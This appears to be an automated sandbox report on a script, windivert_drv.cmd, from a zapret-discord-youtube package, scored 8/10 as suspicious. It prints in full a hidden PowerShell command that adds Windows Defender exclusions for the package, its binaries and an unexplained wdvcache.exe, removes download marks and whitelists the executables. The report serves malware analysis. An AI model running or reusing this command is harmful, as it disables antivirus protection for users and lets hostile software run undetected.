Analysis
- max time kernel
149s - max time network
138s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
30/10/2026, 12:11
General
- Target zapret-discord-youtube-1.9.9c/bin/windivert_drv.cmd
- Size 1KB
- Sample261030-pcvrbsbz21
- SHA256 9666f4fd350b4a9629618e61b02bdca4e63ecbe560b1d5482c427b0779470b16
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\windivert_drv.cmd"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$e=$ErrorActionPreference; $ErrorActionPreference='SilentlyContinue'; $bin='C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\'; $pkg=(Split-Path -Parent $bin.TrimEnd('\'))+'\'; $wd=$bin+'.wd\'; foreach($p in @($pkg,$bin,$wd)){ if($p -and (Test-Path -LiteralPath $p)){ Add-MpPreference -ExclusionPath $p } }; $files=@($bin+'WinDivert64.sys',$bin+'WinDivert.dll',$bin+'winws.exe',$bin+'cygwin1.dll',$wd+'wdvcache.exe'); foreach($f in $files){ if(Test-Path -LiteralPath $f){ Add-MpPreference -ExclusionPath $f; Unblock-File -LiteralPath $f; Remove-Item -LiteralPath ($f+':Zone.Identifier') -Force; if($f -match '\.exe$'){ Add-MpPreference -ControlledFolderAccessAllowedApplications $f } } }; Get-ChildItem -LiteralPath $bin -File -ErrorAction SilentlyContinue | Where-Object { $_.Extension -match '\.(exe|dll|sys|cmd)$' } | ForEach-Object { Unblock-File -LiteralPath $_.FullName; Remove-Item -LiteralPath ($_.FullName+':Zone.Identifier') -Force }; if(Test-Path -LiteralPath $wd){ Get-ChildItem -LiteralPath $wd -File -ErrorAction SilentlyContinue | Where-Object { $_.Extension -match '\.(exe|dll|sys)$' } | ForEach-Object { Unblock-File -LiteralPath $_.FullName; Remove-Item -LiteralPath ($_.FullName+':Zone.Identifier') -Force } }; Add-MpPreference -ExclusionProcess 'winws.exe'; Add-MpPreference -ExclusionProcess 'wdvcache.exe'; $ErrorActionPreference=$e"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_jm0i4kkv.aaf.ps1
memory/4732-0-0x000001D799F70000-0x000001D799F80000-memory.dmp
memory/4732-1-0x000001D799F70000-0x000001D799F80000-memory.dmp
memory/4732-9-0x000001D7FFE70000-0x000001D7FFE92000-memory.dmp
memory/4732-12-0x000001D79C230000-0x000001D79C37E000-memory.dmp